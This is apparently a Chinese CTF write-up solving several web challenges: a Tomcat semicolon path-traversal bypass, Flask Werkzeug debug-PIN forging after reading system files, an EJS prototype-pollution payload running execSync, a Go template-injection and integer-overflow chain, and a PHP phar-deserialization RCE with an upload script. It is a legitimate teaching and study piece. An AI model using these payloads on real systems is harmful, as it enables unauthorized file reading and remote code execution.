Middleware Security
总体思路:

tomcat 对分号有解析差,也就是说..;/ 会被解析成../

参考链接:https://blog.csdn.net/qq_41891666/article/details/110392483
了解这一点之后,再来看一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
@RestController
public class DemoController {
static String flag = "";
static {
try {
flag = new String(Files.readAllBytes(Paths.get("/flag")));
} catch (IOException var1) {
IOException e = var1;
e.printStackTrace();
}
public DemoController() {
}
@GetMapping({"/hello"})
public String hello() {
return "Hello World!";
}
@GetMapping({"/admin"})
public String admin(HttpServletRequest request) throws Exception {
System.out.println(request.getRequestURI());
String[] var5;
int var4 = (var5 = new String[]{"admin", ".."}).length;
for(int var3 = 0; var3 < var4; ++var3) {
String block = var5[var3];
if (request.getRequestURI().contains(block)) {
return "Shall not pass!";
}
}
return "You shall pass! " + flag;
}
}
|
大致意思就是有 hello 和 admin 两个路由,,访问到 admin 并绕过黑名单检查就会得到 flag,这个题和别的目录穿越不一样,是横向的目录穿越(半天没反应过来还是问的别人),是通过 hello 跳到根目录再跳到 admin 路由,payload 如下:
但只是绕过了 tomcat 的检查还需要再 url 编码一下绕过 springboot 的 getRequestURI () 的检查
1
|
/hello/%2e%2e;/%61%64%6d%69%6e
|
还有一个问题,我使用 hackbar 发包的时候 %2e%2e 不知道为啥自动解析成.. 了,用 burp 发包就没问题
File Browser
总体思路

打开就是一些目录,但是不全,用 dirsearch 扫到了一个 /console 路由没见过,打开看看

搜了一下 pin 码,发现是 python flask 框架下的考点,必须找出来 6 个参数,然后再用脚本计算出 pin 码,找到这些参数,光页面这些文件是不够的,这就到了这道题的第一个考点:路径遍历,不过往常的路径遍历都是有一个注入参数的而这个题是直接在网址后面输入../../,但是你输入会发现会被自动纠正没了,所以 url 编码一下..%2f..%2f,剩下就简单了,照葫芦画瓢就可以了
username 看 /etc/passwd

modname 和 appname 一般都是默认的
moddir 一般都是通过报错获得的,而这道题可以读自然就可以慢慢找到是 /usr/local/lib/python3.12/site-packages/flask/app.py
uuidnode mac 就是读取网卡的 mac 地址(有的脚本需要你自己转 10 进制,我这个不需要),/sys/class/net/eth0/address,有时候可能不是 eth0,读不到可以先列一下 /sys/class/net/ 目录
最后一部分就是 machine_id,这部分可能有点小麻烦,如果能读 /usr/local/lib/python3.12/site-packages/werkzeug/debug/init.py,最好是先读一下他,第一算法可能使用的是 md5 或 sha1,本题使用的是 sha1(新版本)

第二是这段代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
def _generate() -> str | bytes | None:
linux = b""
# machine-id is stable across boots, boot_id is not
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
|
先读 /etc/machine-id,如果读到了就不需要 /proc/sys/kernel/random/boot_id,没读到 /etc/machine-id 就需要读 /proc/sys/kernel/random/boot_id,接着是读 /proc/self/cgroup(有时 self 也可能是 [pid],多试几个数),cgroup 有时候也可能被过滤,访问不到(注意是访问不到,不是访问到了没东西),可以考虑 mountinfo 和 cpuset,将两部分拼接到一起就是最后一部分。
但是本题不一样,/proc/self/cgroup 访问到了,但是没东西,所以 machine_id 只有一部分

参考链接:https://blog.csdn.net/qq_35782055/article/details/129126825
最后上一下计算 pin 码的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
|
import hashlib
from itertools import chain
import argparse
def getMd5Pin(probably_public_bits, private_bits):
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getSha1Pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
def macToInt(mac):
mac = mac.replace(":", "")
return str(int(mac, 16))
if __name__ == '__main__':
parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
args = parse.parse_args()
probably_public_bits = [
args.username,
args.modname,
args.appname,
args.path
]
private_bits = [
macToInt(args.MAC),
bytes(args.machineId, encoding = 'utf-8')
]
md5Pin = getMd5Pin(probably_public_bits, private_bits)
sha1Pin = getSha1Pin(probably_public_bits, private_bits)
print("Md5Pin: " + md5Pin)
print("Sha1Pin: " + sha1Pin)
|
参考链接:https://xz.aliyun.com/t/11647?time__1311=Cq0xRQiQe7qDqGX7877qi%3DGCDuGgt87io4D
进入控制台后就可以进行命令执行了
Bible Reader
这题我主要就是照着王哥的 wp 打的,顺便学习一下原型链污染的姿势:Bible-Reader
整体思路:

0x01 文件任意读
漏洞存在于这部分的代码,可以看到 version 的部分是可控的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
app.get('/download/:version', (req, res) => {
const { version } = req.params;
const filePath = path.join(__dirname, 'texts', `${version}`);
fs.access(filePath, fs.constants.F_OK, (err) => {
if (err) {
return res.status(404).send('File not found');
}
res.download(filePath, `bible-${version}`, (err) => {
if (err) {
res.status(500).send('Error in downloading file');
}
});
});
});
|
这里还涉及到一个动态路由解析的问题:https://www.bytezonex.com/archives/Rs5OQBMk.html

测试一下
1
2
3
4
5
|
const { pathToRegexp } = require('path-to-regexp');
const keys = [];
const regexp = pathToRegexp('/download/:version', keys);
console.log(regexp); // 输出正则
console.log(keys); // 输出参数信息
|

说人话就是只能匹配一个 /,所以我们拼接的路径要 url 编码一下

0x02 Admin token
要想污染必须先拿到这个 token

这个 token 是在后台有输出的
1
|
console.log(`Admin token (only printed once in the console): ${appUUID}`);
|
提示里说注意启动方式,以非守护进程启动的话,会把输出打印在控制台上,进而存在日志中,那我们前面的任意读就有用了,只需要找到所在位置就可以

在这里因为是 app 身份启动,所以在 /home/app/.pm2/logs/app-out.log(可以本地起个 docker 进后台看翻一下)

0x03 原型链污染
先看一下可利用的位置
1
2
3
4
5
|
app.post('/api/settings', authenticate, (req, res) => {
const {version, ...newSettings} = req.body;
Object.assign(bibleSettings[version], newSettings);
res.json({message: 'Settings updated'});
});
|
Object.assign 将 source 对象的属性合并到 target 对象中(类似于 merge)。这里表示将 newSettings 中的属性合并到 bibleSettings[version] 中。
结合 ejs 模板引擎,我们很容易想到利用 outputFunctionName(可以去看看 ctfshow web342&343),但是胡哥出题哪能那么套路化,这个洞已经被修复了。

于是又 get 到新的姿势:https://blog.z3ratu1.top/hxpCTF2022wp.html,利用 escapeFunction
再借用一下王哥 wp 的图:

最终 payload:
1
2
3
4
5
6
7
|
{
"version": "__proto__",
"escapeFunction": "1;return process.mainModule.require('child_process').execSync('/readflag')",
"client": true,
"compileDebug": false,
"async": false
}
|
去 /api/settings 发包,再访问 /settings 触发 render 函数即可得到 flag
goblog
总体攻击链:
注册用户名 {{.}} =>follow admin=> 利用 uint32 溢出转换使 (uint32) uid = 1 且通过 isSystemUser (int) 的判断 => 查看 admin 的 profile 触发 SSTI=> 获得 admin 的 MD5 密码 => 解密 md5 登录为 admin
0x01 go_ssti
go 的模板注入不同于其他的语言,大部分是用来泄露信息的,而不是进行代码注入。tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。
看一下源代码的模板位置(/controller/profile.go)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
tmpl := template.New("") // 创建新的模板实例
body := "Profile of user {{.Username}}:\nID: %v\nBio.: {{.Bio}}\nFollowers:\n" // 定义模板内容
for _, follower := range followers { // 遍历关注者列表
username := follower.Username
id := follower.Id
if id != token.UserId { // 如果关注者 ID 不是当前用户,则隐藏用户名
username = "***"
}
body += fmt.Sprintf("%v (%v)\n", username, id) // 将格式化的关注者信息添加到模板字符串
}
t := fmt.Sprintf(body, uid) // 格式化模板字符串,将 `uid` 作为 ID 进行替换
tmpl, err = tmpl.Parse(t) // 解析模板
if err != nil {
return c.JSON(view.UserProfileResponse{
BaseResponse: view.BaseResponse{
Success: false,
Message: "Failed to parse template",
},
})
}
var out bytes.Buffer
err = tmpl.Execute(&out, user) // 使用模板渲染数据
|
注意到body += fmt.Sprintf("%v (%v)\n", username, id),这个 username 会拼接到 body,如果关注者的 username 是”{{.}}”,那么在解析模板时,这个部分会被当作一个动作,执行时会输出整个当前上下文的数据结构,会泄露 admin 敏感信息。
0x02 整数溢出
1
2
3
|
func isSystemUser(uid int) bool {
return uid < 1000
}
|
我们直接看 admin 的 profile 是不被允许的

所以要通过溢出来绕过,4294967297 是 uint32 的最大值 4294967295 加上 2,因此当它被转换为 uint32 时,会发生溢出。

泄露了 admin 密码的 md5 解密即可
Two-Lines Challenge
代码很简单,但是利用起来很不容易,一环扣一环,每一步都要很仔细。
1
2
3
|
<?php
class Evil { function __destruct() { eval($this->nothing); } }
symlink($_GET['file'] ?? __FILE__, $file=uniqid('/tmp/',true).'.tmp') && highlight_file($_GET['file1'] ?? $file);
|
创建了一个 Evil 类,其 __destruct 方法会执行 $this->nothing 的 eval() 代码,然后创建一个指向指定文件的符号链接,并高亮显示另一个指定的文件内容。
总体攻击链:
令 file=sess_( 可以代表任何东西) 创建一个不存在的 sess_*=>highlight_file 会泄露创建的软连接的 tmp 文件路径 => 利用 tar 处理 phar 头尾脏数据 => 利用 php_session_upload_progress 漏洞上传 tar 文件 => 令 file1 = 刚才泄露的文件进行 phar 反序列化 =>rce
0x01 创建 sess_sess 文件
url?file=sess_sess

这个 tmp 后缀的文件是软连接于 sess_sess 的,利用的是如果文件不存在 highlight_file () 会报错泄露文件路径
0x02 php_session_upload_progress 漏洞
参照:https://xi4or0uji.github.io/2018/10/25/hitcon-2018-One-Line-PHP-Challenge/

这种特殊的上传方式可以控制文件名(sess_*)和文件的内容

0x03 构造 phar
我们从上图可以看到 upload_progress_后面这一小部分是可控的,这一小部分我们就可以传入 phar 的内容,所以到这里这个题就转化了含有头尾脏数据的 phar 反序列化。如何处理呢?参照:https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/
先在本地测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
class Evil {
function __destruct() { eval($this->nothing); }
}
$a=new Evil();
$a->nothing = 'system("ls");'; // 恶意代码
//前面的脏数据
$dirtydata = "upload_progress_";
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
class Evil {
function __destruct() { eval($this->nothing); }
}
$dirty="test0000000000000000000";
$front="upload_progress_";
$old=file_get_contents("./break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./new.tar",$new);
highlight_file("phar://D:/CTF/nex_temp/two-line-challenge/new.tar")
?>
|
可以看到,虽然有报错,但是还是成功反序列化了

实际上我们要传的就是 break_phar.tar 这个文件,传到服务器上,和头部和尾部的脏数据拼接。
0x04 上传 tar 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import requests
# 直接读取文件的二进制内容
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
php_session_upload_progress = f.read() # 不进行 URL 编码,直接保留原始二进制
# 目标 url
url = ""
cookies = {"PHPSESSID": "sess"}
# 设置 `files` 参数
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
files = {
"PHP_SESSION_UPLOAD_PROGRESS": (None, php_session_upload_progress), # 直接传二进制
"file": ("break_phar.tar", f, "application/octet-stream") # 作为文件上传
}
# 发送 POST 请求
response = requests.post(url, cookies=cookies, files=files)
# 输出服务器响应
print("Status Code:", response.status_code)
print("Response Text:", response.text)
|
因为我们走的不是正常的文件上传流程,所以需要读取文件的数据,然后再上传
0x05 phar 反序列化
url?/file1=phar:///tmp/xxxxx.tmp(刚才泄露的路径)
注意路径要写完整,可以看到反序列化成功了
